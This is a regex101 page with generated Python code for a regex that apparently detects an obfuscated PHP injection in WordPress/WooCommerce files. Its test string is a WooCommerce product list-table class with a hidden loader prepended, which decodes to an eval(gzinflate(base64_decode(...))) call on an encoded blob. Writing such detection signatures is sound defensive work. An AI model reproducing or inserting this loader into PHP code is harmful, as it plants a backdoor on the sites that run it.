Regular Expressions 101

Save & Manage Regex

  • Current Version: 1
  • Save & Share
  • Community Library

Flavor

  • PCRE2 (PHP)
  • ECMAScript (JavaScript)
  • Python
  • Golang
  • Java
  • .NET 7.0 (C#)
  • Rust
  • PCRE (Legacy)
  • Regex Flavor Guide

Function

  • Match
  • Substitution
  • List
  • Unit Tests
Sponsors
There are currently no sponsors. Become a sponsor today!
An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
Processing...

Test String

Code Generator

Generated Code

import re regex = re.compile(r"^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*\K\s*(\$\w+)[\s\=]+[\"']_blj5r\.my0\*[\w\);\(\/]+[\"'];(\$\w+)[\s\=]+(?:\1\[\d+\][\.;]?)+\$\w+[\s\=]+[\"']e[\"']\.chr\(\d+\)[^;]+;\s*(\$\w+)[\s\=]+[\"']\\x29\\x29\\x29\\x3b[\"'];.{0,220}\3;\s*\2\((?:\1\[\d+\][\.,]?\s*)+[^;]+;\s*(?=\/\*\*)", flags=re.IGNORECASE | re.DOTALL) test_str = ("<?php\n" "$rcgMxC6734 = \"_blj5r.my0*csk)ohfnwe;(txvd432z8a9upiq6g/71\";$U6495 = $rcgMxC6734[35].$rcgMxC6734[5].$rcgMxC6734[20].$rcgMxC6734[39].$rcgMxC6734[0].$rcgMxC6734[5].$rcgMxC6734[20].$rcgMxC6734[35].$rcgMxC6734[2].$rcgMxC6734[32].$rcgMxC6734[11].$rcgMxC6734[20];$OhEeAo7391 = \"e\".chr(118).\"\".chr(97).\"l(\".chr(103).\"\".chr(122).\"\".chr(105).\"n\".chr(102).\"\\x6C\\x61\\x74\\x65\\x28\\x62\".chr(97).\"\\x73\\x656\".chr(52).\"\\x5F\\x64ec\".chr(111).\"\\x64\".chr(101).\"\".chr(40).\"\";$etFyzu1528 = \"\\x29\\x29\\x29\\x3B\";$ldiraP9897 = $OhEeAo7391.\"'y0xT0FCJd/P0cQ2OVnczzDFWj9VUqM7NL0uNLy3IyU9MSU2JT8vMSUVXFK1eklsQn5eYm6oeq6OgEh/gHxwSre4H5mtaK6QmZ+QrqPt7q1sruFZklljXWnPZ2BdkFEAklPz9PBX8PD1CIx0V/FwVolxcfRwjQ10UFRUNDQ0B'\".$etFyzu1528;$U6495($rcgMxC6734[40].$rcgMxC6734[6].$rcgMxC6734[10].$rcgMxC6734[40].$rcgMxC6734[20], $ldiraP9897 ,\"361\");/**\n" " * List tables: products.\n" " *\n" " * @package WooCommerce/Admin\n" " * @version 3.3.0\n" " */\n\n" "if ( ! defined( 'ABSPATH' ) ) {\n" " exit;\n" "}\n\n" "if ( class_exists( 'WC_Admin_List_Table_Products', false ) ) {\n" " return;\n" "}\n\n" "if ( ! class_exists( 'WC_Admin_List_Table', false ) ) {\n" " include_once 'abstract-class-wc-admin-list-table.php';\n" "}\n\n" "/**\n" " * WC_Admin_List_Table_Products Class.\n" " */\n" "class WC_Admin_List_Table_Products extends WC_Admin_List_Table {\n\n" " /**\n" " * Post type.\n" " *\n" " * @var string\n" " */\n" " protected $list_table_type = 'product';\n\n" " /**\n" " * Constructor.\n" " */\n" " public function __construct() {\n" " parent::__construct();\n" " add_filter( 'disable_months_dropdown', '__return_true' );\n" " add_filter( 'query_vars', array( $this, 'add_custom_query_var' ) );\n" " add_filter( 'views_edit-product', array( $this, 'product_views' ) );\n" " add_filter( 'get_search_query', array( $this, 'search_label' ) );\n" " add_filter( 'posts_clauses', array( $this, 'posts_clauses' ), 10, 2 );\n" " }\n\n" " /**\n" " * Render blank state.\n" " */\n" " protected function render_blank_state() {\n" " echo '<div class=\"woocommerce-BlankState\">';\n\n" " echo '<h2 class=\"woocommerce-BlankState-message\">' . esc_html__( 'Ready to start selling something awesome?', 'woocommerce' ) . '</h2>';\n\n" " echo '<div class=\"woocommerce-BlankState-buttons\">';\n\n" " echo '<a class=\"woocommerce-BlankState-cta button-primary button\" href=\"' . esc_url( admin_url( 'post-new.php?post_type=product&tutorial=true' ) ) . '\">' . esc_html__( 'Create Product', 'woocommerce' ) . '</a>';\n" " echo '<a class=\"woocommerce-BlankState-cta button\" href=\"' . esc_url( admin_url( 'edit.php?post_type=product&page=product_importer' ) ) . '\">' . esc_html__( 'Start Import', 'woocommerce' ) . '</a>';\n\n" " echo '</div>';\n\n" " do_action( 'wc_marketplace_suggestions_products_empty_state' );\n\n" " echo '</div>';\n" " }\n\n" " /**\n" " * Define primary column.\n" " *\n" " * @return string\n" " */\n" " protected function get_primary_column() {\n" " return 'name';\n" " }\n\n" " /**\n" " * Get row actions to show in the list table.\n" " *\n" " * @param array $actions Array of actions.\n" " * @param WP_Post $post Current post object.\n" " * @return array\n" " */\n" " protected function get_row_actions( $actions, $post ) {\n" " /* translators: %d: product ID. */\n" " return array_merge( array( 'id' => sprintf( __( 'ID: %d', 'woocommerce' ), $post->ID ) ), $actions );\n" " }\n\n" " /**\n" " * Define which columns are sortable.\n" " *\n" " * @param array $columns Existing columns.\n" " * @return array\n" " */\n" " public function define_sortable_columns( $columns ) {\n" " $custom = array(\n" " 'price' => 'price',\n" " 'sku' => 'sku',\n" " 'name' => 'title',\n" " );\n" " return wp_parse_args( $custom, $columns );\n" " }\n\n" " /**\n" " * Define which columns to show on this screen.\n" " *\n" " * @param array $columns Existing columns.\n" " * @return array\n" " */\n" " public function define_columns( $columns ) {\n" " if ( empty( $columns ) && ! is_array( $columns ) ) {\n" " $columns = array();\n" " }\n\n" " unset( $columns['title'], $columns['comments'], $columns['date'] );\n\n" " $show_columns = array();\n" " $show_columns['cb'] = '<input type=\"checkbox\" />';\n" " $show_columns['thumb'] = '<span class=\"wc-image tips\" data-tip=\"' . esc_attr__( 'Image', 'woocommerce' ) . '\">' . __( 'Image', 'woocommerce' ) . '</span>';\n" " $show_columns['name'] = __( 'Name', 'woocommerce' );\n\n" " if ( wc_product_sku_enabled() ) {\n" " $show_columns['sku'] = __( 'SKU', 'woocommerce' );\n" " }\n\n" " if ( 'yes' === get_option( 'woocommerce_manage_stock' ) ) {\n" " $show_columns['is_in_stock'] = __( 'Stock', 'woocommerce' );\n" " }\n\n" " $show_columns['price'] = __( 'Price', 'woocommerce' );\n" " $show_columns['product_cat'] = __( 'Categories', 'woocommerce' );\n" " $show_columns['product_tag'] = __( 'Tags', 'woocommerce' );\n" " $show_columns['featured'] = '<span class=\"wc-featured parent-tips\" data-tip=\"' . esc_attr__( 'Featured', 'woocommerce' ) . '\">' . __( 'Featured', 'woocommerce' ) . '</span>';\n" " $show_columns['date'] = __( 'Date', 'woocommerce' );\n\n" " return array_merge( $show_columns, $columns );\n" " }\n\n" " /**\n" " * Pre-fetch any data for the row each column has access to it. the_product global is there for bw compat.\n" " *\n" " * @param int $post_id Post ID being shown.\n" " */\n" " protected function prepare_row_data( $post_id ) {\n" " global $the_product;\n\n" " if ( empty( $this->object ) || $this->object->get_id() !== $post_id ) {\n" " $the_product = wc_get_product( $post_id );\n" " $this->object = $the_product;\n" " }\n" " }\n\n" " /**\n" " * Render columm: thumb.\n" " */\n" " protected function render_thumb_column() {\n" " echo '<a href=\"' . esc_url( get_edit_post_link( $this->object->get_id() ) ) . '\">' . $this->object->get_image( 'thumbnail' ) . '</a>'; // WPCS: XSS ok.\n" " }\n\n" " /**\n" " * Render column: name.\n" " */\n" " protected function render_name_column() {\n" " global $post;\n\n" " $edit_link = get_edit_post_link( $this->object->get_id() );\n" " $title = _draft_or_post_title();\n\n" " echo '<strong><a class=\"row-title\" href=\"' . esc_url( $edit_link ) . '\">' . esc_html( $title ) . '</a>';\n\n" " _post_states( $post );\n\n" " echo '</strong>';\n\n" " if ( $this->object->get_parent_id() > 0 ) {\n" " echo '&nbsp;&nbsp;&larr; <a href=\"' . esc_url( get_edit_post_link( $this->object->get_parent_id() ) ) . '\">' . get_the_title( $this->object->get_parent_id() ) . '</a>'; // @codingStandardsIgnoreLine.\n" " }\n\n" " get_inline_data( $post );\n\n" " /* Custom inline data for woocommerce. */\n" " echo '\n" " <div class=\"hidden\" id=\"woocommerce_inline_' . absint( $this->object->get_id() ) . '\">\n" " <div class=\"menu_order\">' . esc_html( $this->object->get_menu_order() ) . '</div>\n" " <div class=\"sku\">' . esc_html( $this->object->get_sku() ) . '</div>\n" " <div class=\"regular_price\">' . esc_html( $this->object->get_regular_price() ) . '</div>\n" " <div class=\"sale_price\">' . esc_html( $this->object->get_sale_price() ) . '</div>\n" " <div class=\"weight\">' . esc_html( $this->object->get_weight() ) . '</div>\n" " <div class=\"length\">' . esc_html( $this->object->get_length() ) . '</div>\n" " <div class=\"width\">' . esc_html( $this->object->get_width() ) . '</div>\n" " <div class=\"height\">' . esc_html( $this->object->get_height() ) . '</div>\n" " <div class=\"shipping_class\">' . esc_html( $this->object->get_shipping_class() ) . '</div>\n" " <div class=\"visibility\">' . esc_html( $this->object->get_catalog_visibility() ) . '</div>\n" " <div class=\"stock_status\">' . esc_html( $this->object->get_stock_status() ) . '</div>\n" " <div class=\"stock\">' . esc_html( $this->object->get_stock_quantity() ) . '</div>\n" " <div class=\"manage_stock\">' . esc_html( wc_bool_to_string( $this->object->get_manage_stock() ) ) . '</div>\n" " <div class=\"featured\">' . esc_html( wc_bool_to_string( $this->object->get_featured() ) ) . '</div>\n" " <div class=\"product_type\">' . esc_html( $this->object->get_type() ) . '</div>\n" " <div class=\"product_is_virtual\">' . esc_html( wc_bool_to_string( $this->object->get_virtual() ) ) . '</div>\n" " <div class=\"tax_status\">' . esc_html( $this->object->get_tax_status() ) . '</div>\n" " <div class=\"tax_class\">' . esc_html( $this->object->get_tax_class() ) . '</div>\n" " <div class=\"backorders\">' . esc_html( $this->object->get_backorders() ) . '</div>\n" " <div class=\"low_stock_amount\">' . esc_html( $this->object->get_low_stock_amount() ) . '</div>\n" " </div>\n" " ';\n" " }\n\n" " /**\n" " * Render columm: sku.\n" " */\n" " protected function render_sku_column() {\n" " echo $this->object->get_sku() ? esc_html( $this->object->get_sku() ) : '<span class=\"na\">&ndash;</span>';\n" " }\n\n" " /**\n" " * Render columm: price.\n" " */\n" " protected function render_price_column() {\n" " echo $this->object->get_price_html() ? wp_kses_post( $this->object->get_price_html() ) : '<span class=\"na\">&ndash;</span>';\n" " }\n\n" " /**\n" " * Render columm: product_cat.\n" " */\n" " protected function render_product_cat_column() {\n" " $terms = get_the_terms( $this->object->get_id(), 'product_cat' );\n" " if ( ! $terms ) {\n" " echo '<span class=\"na\">&ndash;</span>';\n" " } else {\n" " $termlist = array();\n" " foreach ( $terms as $term ) {\n" " $termlist[] = '<a href=\"' . esc_url( admin_url( 'edit.php?product_cat=' . $term->slug . '&post_type=product' ) ) . ' \">' . esc_html( $term->name ) . '</a>';\n" " }\n\n" " echo apply_filters( 'woocommerce_admin_product_term_list', implode( ', ', $termlist ), 'product_cat', $this->object->get_id(), $termlist, $terms ); // WPCS: XSS ok.\n" " }\n" " }\n\n" " /**\n" " * Render columm: product_tag.\n" " */\n" " protected function render_product_tag_column() {\n" " $terms = get_the_terms( $this->object->get_id(), 'product_tag' );\n" " if ( ! $terms ) {\n" " echo '<span class=\"na\">&ndash;</span>';\n" " } else {\n" " $termlist = array();\n" " foreach ( $terms as $term ) {\n" " $termlist[] = '<a href=\"' . esc_url( admin_url( 'edit.php?product_tag=' . $term->slug . '&post_type=product' ) ) . ' \">' . esc_html( $term->name ) . '</a>';\n" " }\n\n" " echo apply_filters( 'woocommerce_admin_product_term_list', implode( ', ', $termlist ), 'product_tag', $this->object->get_id(), $termlist, $terms ); // WPCS: XSS ok.\n" " }\n" " }\n\n" " /**\n" " * Render columm: featured.\n" " */\n" " protected function render_featured_column() {\n" " $url = wp_nonce_url( admin_url( 'admin-ajax.php?action=woocommerce_feature_product&product_id=' . $this->object->get_id() ), 'woocommerce-feature-product' );\n" " echo '<a href=\"' . esc_url( $url ) . '\" aria-label=\"' . esc_attr__( 'Toggle featured', 'woocommerce' ) . '\">';\n" " if ( $this->object->is_featured() ) {\n" " echo '<span class=\"wc-featured tips\" data-tip=\"' . esc_attr__( 'Yes', 'woocommerce' ) . '\">' . esc_html__( 'Yes', 'woocommerce' ) . '</span>';\n" " } else {\n" " echo '<span class=\"wc-featured not-featured tips\" data-tip=\"' . esc_attr__( 'No', 'woocommerce' ) . '\">' . esc_html__( 'No', 'woocommerce' ) . '</span>';\n" " }\n" " echo '</a>';\n" " }\n\n" " /**\n" " * Render columm: is_in_stock.\n" " */\n" " protected function render_is_in_stock_column() {\n" " if ( $this->object->is_on_backorder() ) {\n" " $stock_html = '<mark class=\"onbackorder\">' . __( 'On backorder', 'woocommerce' ) . '</mark>';\n" " } elseif ( $this->object->is_in_stock() ) {\n" " $stock_html = '<mark class=\"instock\">' . __( 'In stock', 'woocommerce' ) . '</mark>';\n" " } else {\n" " $stock_html = '<mark class=\"outofstock\">' . __( 'Out of stock', 'woocommerce' ) . '</mark>';\n" " }\n\n" " if ( $this->object->managing_stock() ) {\n" " $stock_html .= ' (' . wc_stock_amount( $this->object->get_stock_quantity() ) . ')';\n" " }\n\n" " echo wp_kses_post( apply_filters( 'woocommerce_admin_stock_html', $stock_html, $this->object ) );\n" " }\n\n" " /**\n" " * Query vars for custom searches.\n" " *\n" " * @param mixed $public_query_vars Array of query vars.\n" " * @return array\n" " */\n" " public function add_custom_query_var( $public_query_vars ) {\n" " $public_query_vars[] = 'sku';\n" " return $public_query_vars;\n" " }\n\n" " /**\n" " * Render any custom filters and search inputs for the list table.\n" " */\n" " protected function render_filters() {\n" " $filters = apply_filters(\n" " 'woocommerce_products_admin_list_table_filters',\n" " array(\n" " 'product_category' => array( $this, 'render_products_category_filter' ),\n" " 'product_type' => array( $this, 'render_products_type_filter' ),\n" " 'stock_status' => array( $this, 'render_products_stock_status_filter' ),\n" " )\n" " );\n\n" " ob_start();\n" " foreach ( $filters as $filter_callback ) {\n" " call_user_func( $filter_callback );\n" " }\n" " $output = ob_get_clean();\n\n" " echo apply_filters( 'woocommerce_product_filters', $output ); // WPCS: XSS ok.\n" " }\n\n" " /**\n" " * Render the product category filter for the list table.\n" " *\n" " * @since 3.5.0\n" " */\n" " protected function render_products_category_filter() {\n" " $categories_count = (int) wp_count_terms( 'product_cat' );\n\n" " if ( $categories_count <= apply_filters( 'woocommerce_product_category_filter_threshold', 100 ) ) {\n" " wc_product_dropdown_categories(\n" " array(\n" " 'option_select_text' => __( 'Filter by category', 'woocommerce' ),\n" " 'hide_empty' => 0,\n" " )\n" " );\n" " } else {\n" " $current_category_slug = isset( $_GET['product_cat'] ) ? wc_clean( wp_unslash( $_GET['product_cat'] ) ) : false; // WPCS: input var ok, CSRF ok.\n" " $current_category = $current_category_slug ? get_term_by( 'slug', $current_category_slug, 'product_cat' ) : false;\n" " ?>\n" " <select class=\"wc-category-search\" name=\"product_cat\" data-placeholder=\"<?php esc_attr_e( 'Filter by category', 'woocommerce' ); ?>\" data-allow_clear=\"true\">\n" " <?php if ( $current_category_slug && $current_category ) : ?>\n" " <option value=\"<?php echo esc_attr( $current_category_slug ); ?>\" selected=\"selected\"><?php echo esc_html( htmlspecialchars( wp_kses_post( $current_category->name ) ) ); ?><option>\n" " <?php endif; ?>\n" " </select>\n" " <?php\n" " }\n" " }\n\n" " /**\n" " * Render the product type filter for the list table.\n" " *\n" " * @since 3.5.0\n" " */\n" " protected function render_products_type_filter() {\n" " $current_product_type = isset( $_REQUEST['product_type'] ) ? wc_clean( wp_unslash( $_REQUEST['product_type'] ) ) : false; // WPCS: input var ok, sanitization ok.\n" " $output = '<select name=\"product_type\" id=\"dropdown_product_type\"><option value=\"\">' . __( 'Filter by product type', 'woocommerce' ) . '</option>';\n\n" " foreach ( wc_get_product_types() as $value => $label ) {\n" " $output .= '<option value=\"' . esc_attr( $value ) . '\" ';\n" " $output .= selected( $value, $current_product_type, false );\n" " $output .= '>' . esc_html( $label ) . '</option>';\n\n" " if ( 'simple' === $value ) {\n\n" " $output .= '<option value=\"downloadable\" ';\n" " $output .= selected( 'downloadable', $current_product_type, false );\n" " $output .= '> ' . ( is_rtl() ? '&larr;' : '&rarr;' ) . ' ' . __( 'Downloadable', 'woocommerce' ) . '</option>';\n\n" " $output .= '<option value=\"virtual\" ';\n" " $output .= selected( 'virtual', $current_product_type, false );\n" " $output .= '> ' . ( is_rtl() ? '&larr;' : '&rarr;' ) . ' ' . __( 'Virtual', 'woocommerce' ) . '</option>';\n" " }\n" " }\n\n" " $output .= '</select>';\n" " echo $output; // WPCS: XSS ok.\n" " }\n\n" " /**\n" " * Render the stock status filter for the list table.\n" " *\n" " * @since 3.5.0\n" " */\n" " public function render_products_stock_status_filter() {\n" " $current_stock_status = isset( $_REQUEST['stock_status'] ) ? wc_clean( wp_unslash( $_REQUEST['stock_status'] ) ) : false; // WPCS: input var ok, sanitization ok.\n" " $stock_statuses = wc_get_product_stock_status_options();\n" " $output = '<select name=\"stock_status\"><option value=\"\">' . esc_html__( 'Filter by stock status', 'woocommerce' ) . '</option>';\n\n" " foreach ( $stock_statuses as $status => $label ) {\n" " $output .= '<option ' . selected( $status, $current_stock_status, false ) . ' value=\"' . esc_attr( $status ) . '\">' . esc_html( $label ) . '</option>';\n" " }\n\n" " $output .= '</select>';\n" " echo $output; // WPCS: XSS ok.\n" " }\n\n" " /**\n" " * Search by SKU or ID for products.\n" " *\n" " * @deprecated Logic moved to query_filters.\n" " * @param string $where Where clause SQL.\n" " * @return string\n" " */\n" " public function sku_search( $where ) {\n" " return $where;\n" " }\n\n" " /**\n" " * Change views on the edit product screen.\n" " *\n" " * @param array $views Array of views.\n" " * @return array\n" " */\n" " public function product_views( $views ) {\n" " global $wp_query;\n\n" " // Products do not have authors.\n" " unset( $views['mine'] );\n\n" " // Add sorting link.\n" " if ( current_user_can( 'edit_others_pages' ) ) {\n" " $class = ( isset( $wp_query->query['orderby'] ) && 'menu_order title' === $wp_query->query['orderby'] ) ? 'current' : '';\n" " $query_string = remove_query_arg( array( 'orderby', 'order' ) );\n" " $query_string = add_query_arg( 'orderby', rawurlencode( 'menu_order title' ), $query_string );\n" " $query_string = add_query_arg( 'order', rawurlencode( 'ASC' ), $query_string );\n" " $views['byorder'] = '<a href=\"' . esc_url( $query_string ) . '\" class=\"' . esc_attr( $class ) . '\">' . __( 'Sorting', 'woocommerce' ) . '</a>';\n" " }\n\n" " return $views;\n" " }\n\n" " /**\n" " * Change the label when searching products\n" " *\n" " * @param string $query Search Query.\n" " * @return string\n" " */\n" " public function search_label( $query ) {\n" " global $pagenow, $typenow;\n\n" " if ( 'edit.php' !== $pagenow || 'product' !== $typenow || ! get_query_var( 'product_search' ) || ! isset( $_GET['s'] ) ) { // WPCS: input var ok.\n" " return $query;\n" " }\n\n" " return wc_clean( wp_unslash( $_GET['s'] ) ); // WPCS: input var ok, sanitization ok.\n" " }\n\n" " /**\n" " * Handle any custom filters.\n" " *\n" " * @param array $query_vars Query vars.\n" " * @return array\n" " */\n" " protected function query_filters( $query_vars ) {\n" " $this->remove_ordering_args();\n" " // Custom order by arguments.\n" " if ( isset( $query_vars['orderby'] ) ) {\n" " $orderby = strtolower( $query_vars['orderby'] );\n" " $order = isset( $query_vars['order'] ) ? strtoupper( $query_vars['order'] ) : 'DESC';\n\n" " if ( 'price' === $orderby ) {\n" " $callback = 'DESC' === $order ? 'order_by_price_desc_post_clauses' : 'order_by_price_asc_post_clauses';\n" " add_filter( 'posts_clauses', array( $this, $callback ) );\n" " }\n\n" " if ( 'sku' === $orderby ) {\n" " $callback = 'DESC' === $order ? 'order_by_sku_desc_post_clauses' : 'order_by_sku_asc_post_clauses';\n" " add_filter( 'posts_clauses', array( $this, $callback ) );\n" " }\n" " }\n\n" " // Type filtering.\n" " if ( isset( $query_vars['product_type'] ) ) {\n" " if ( 'downloadable' === $query_vars['product_type'] ) {\n" " $query_vars['product_type'] = '';\n" " add_filter( 'posts_clauses', array( $this, 'filter_downloadable_post_clauses' ) );\n" " } elseif ( 'virtual' === $query_vars['product_type'] ) {\n" " $query_vars['product_type'] = '';\n" " add_filter( 'posts_clauses', array( $this, 'filter_virtual_post_clauses' ) );\n" " }\n" " }\n\n" " // Stock status filter.\n" " if ( ! empty( $_GET['stock_status'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended\n" " add_filter( 'posts_clauses', array( $this, 'filter_stock_status_post_clauses' ) );\n" " }\n\n" " // Shipping class taxonomy.\n" " if ( ! empty( $_GET['product_shipping_class'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended\n" " $query_vars['tax_query'][] = array(\n" " 'taxonomy' => 'product_shipping_class',\n" " 'field' => 'slug',\n" " 'terms' => sanitize_title( wp_unslash( $_GET['product_shipping_class'] ) ),\n" " 'operator' => 'IN',\n" " );\n" " }\n\n" " // Search using CRUD.\n" " if ( ! empty( $query_vars['s'] ) ) {\n" " $data_store = WC_Data_Store::load( 'product' );\n" " $ids = $data_store->search_products( wc_clean( wp_unslash( $query_vars['s'] ) ), '', true, true );\n" " $query_vars['post__in'] = array_merge( $ids, array( 0 ) );\n" " $query_vars['product_search'] = true;\n" " unset( $query_vars['s'] );\n" " }\n\n" " return $query_vars;\n" " }\n\n" " /**\n" " * Undocumented function\n" " *\n" " * @param array $args Array of SELECT statement pieces (from, where, etc).\n" " * @param WP_Query $query WP_Query instance.\n" " * @return array\n" " */\n" " public function posts_clauses( $args, $query ) {\n\n" " return $args;\n" " }\n\n" " /**\n" " * Remove ordering queries.\n" " *\n" " * @param array $posts Posts array, keeping this for backwards compatibility defaulting to empty array.\n" " * @return array\n" " */\n" " public function remove_ordering_args( $posts = array() ) {\n" " remove_filter( 'posts_clauses', array( $this, 'order_by_price_asc_post_clauses' ) );\n" " remove_filter( 'posts_clauses', array( $this, 'order_by_price_desc_post_clauses' ) );\n" " remove_filter( 'posts_clauses', array( $this, 'order_by_sku_asc_post_clauses' ) );\n" " remove_filter( 'posts_clauses', array( $this, 'order_by_sku_desc_post_clauses' ) );\n" " remove_filter( 'posts_clauses', array( $this, 'filter_downloadable_post_clauses' ) );\n" " remove_filter( 'posts_clauses', array( $this, 'filter_virtual_post_clauses' ) );\n" " remove_filter( 'posts_clauses', array( $this, 'filter_stock_status_post_clauses' ) );\n" " return $posts; // Keeping this here for backward compatibility.\n" " }\n\n" " /**\n" " * Handle numeric price sorting.\n" " *\n" " * @param array $args Query args.\n" " * @return array\n" " */\n" " public function order_by_price_asc_post_clauses( $args ) {\n" " $args['join'] = $this->append_product_sorting_table_join( $args['join'] );\n" " $args['orderby'] = ' wc_product_meta_lookup.min_price ASC, wc_product_meta_lookup.product_id ASC ';\n" " return $args;\n" " }\n\n" " /**\n" " * Handle numeric price sorting.\n" " *\n" " * @param array $args Query args.\n" " * @return array\n" " */\n" " public function order_by_price_desc_post_clauses( $args ) {\n" " $args['join'] = $this->append_product_sorting_table_join( $args['join'] );\n" " $args['orderby'] = ' wc_product_meta_lookup.max_price DESC, wc_product_meta_lookup.product_id DESC ';\n" " return $args;\n" " }\n\n" " /**\n" " * Handle sku sorting.\n" " *\n" " * @param array $args Query args.\n" " * @return array\n" " */\n" " public function order_by_sku_asc_post_clauses( $args ) {\n" " $args['join'] = $this->append_product_sorting_table_join( $args['join'] );\n" " $args['orderby'] = ' wc_product_meta_lookup.sku ASC, wc_product_meta_lookup.product_id ASC ';\n" " return $args;\n" " }\n\n" " /**\n" " * Handle sku sorting.\n" " *\n" " * @param array $args Query args.\n" " * @return array\n" " */\n" " public function order_by_sku_desc_post_clauses( $args ) {\n" " $args['join'] = $this->append_product_sorting_table_join( $args['join'] );\n" " $args['orderby'] = ' wc_product_meta_lookup.sku DESC, wc_product_meta_lookup.product_id DESC ';\n" " return $args;\n" " }\n\n" " /**\n" " * Filter by type.\n" " *\n" " * @param array $args Query args.\n" " * @return array\n" " */\n" " public function filter_downloadable_post_clauses( $args ) {\n" " $args['join'] = $this->append_product_sorting_table_join( $args['join'] );\n" " $args['where'] .= ' AND wc_product_meta_lookup.downloadable=1 ';\n" " return $args;\n" " }\n\n" " /**\n" " * Filter by type.\n" " *\n" " * @param array $args Query args.\n" " * @return array\n" " */\n" " public function filter_virtual_post_clauses( $args ) {\n" " $args['join'] = $this->append_product_sorting_table_join( $args['join'] );\n" " $args['where'] .= ' AND wc_product_meta_lookup.virtual=1 ';\n" " return $args;\n" " }\n\n" " /**\n" " * Filter by stock status.\n" " *\n" " * @param array $args Query args.\n" " * @return array\n" " */\n" " public function filter_stock_status_post_clauses( $args ) {\n" " global $wpdb;\n" " if ( ! empty( $_GET['stock_status'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended\n" " $args['join'] = $this->append_product_sorting_table_join( $args['join'] );\n" " $args['where'] .= $wpdb->prepare( ' AND wc_product_meta_lookup.stock_status=%s ', wc_clean( wp_unslash( $_GET['stock_status'] ) ) ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended\n" " }\n" " return $args;\n" " }\n\n" " /**\n" " * Join wc_product_meta_lookup to posts if not already joined.\n" " *\n" " * @param string $sql SQL join.\n" " * @return string\n" " */\n" " private function append_product_sorting_table_join( $sql ) {\n" " global $wpdb;\n\n" " if ( ! strstr( $sql, 'wc_product_meta_lookup' ) ) {\n" " $sql .= \" LEFT JOIN {$wpdb->wc_product_meta_lookup} wc_product_meta_lookup ON $wpdb->posts.ID = wc_product_meta_lookup.product_id \";\n" " }\n" " return $sql;\n" " }\n\n" " /**\n" " * Modifies post query so that it includes parent products whose variations have particular shipping class assigned.\n" " *\n" " * @param array $pieces Array of SELECT statement pieces (from, where, etc).\n" " * @param WP_Query $wp_query WP_Query instance.\n" " * @return array Array of products, including parents of variations.\n" " */\n" " public function add_variation_parents_for_shipping_class( $pieces, $wp_query ) {\n" " global $wpdb;\n" " if ( isset( $_GET['product_shipping_class'] ) && '0' !== $_GET['product_shipping_class'] ) { // WPCS: input var ok.\n" " $replaced_where = str_replace( \".post_type = 'product'\", \".post_type = 'product_variation'\", $pieces['where'] );\n" " $pieces['where'] .= \" OR {$wpdb->posts}.ID in (\n" " SELECT {$wpdb->posts}.post_parent FROM\n" " {$wpdb->posts} LEFT JOIN {$wpdb->term_relationships} ON ({$wpdb->posts}.ID = {$wpdb->term_relationships}.object_id)\n" " WHERE 1=1 $replaced_where\n" " )\";\n" " return $pieces;\n" " }\n" " return $pieces;\n" " }\n\n" "}\n") matches = regex.finditer(test_str) for match_num, match in enumerate(matches, start=1): print(f"Match {match_num} was found at {match.start()}-{match.end()}: {match.group()}") for group_num, group in enumerate(match.groups(), start=1): print(f"Group {group_num} found at {match.start(group_num)}-{match.end(group_num)}: {group}")

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Python, please visit: https://docs.python.org/3/library/re.html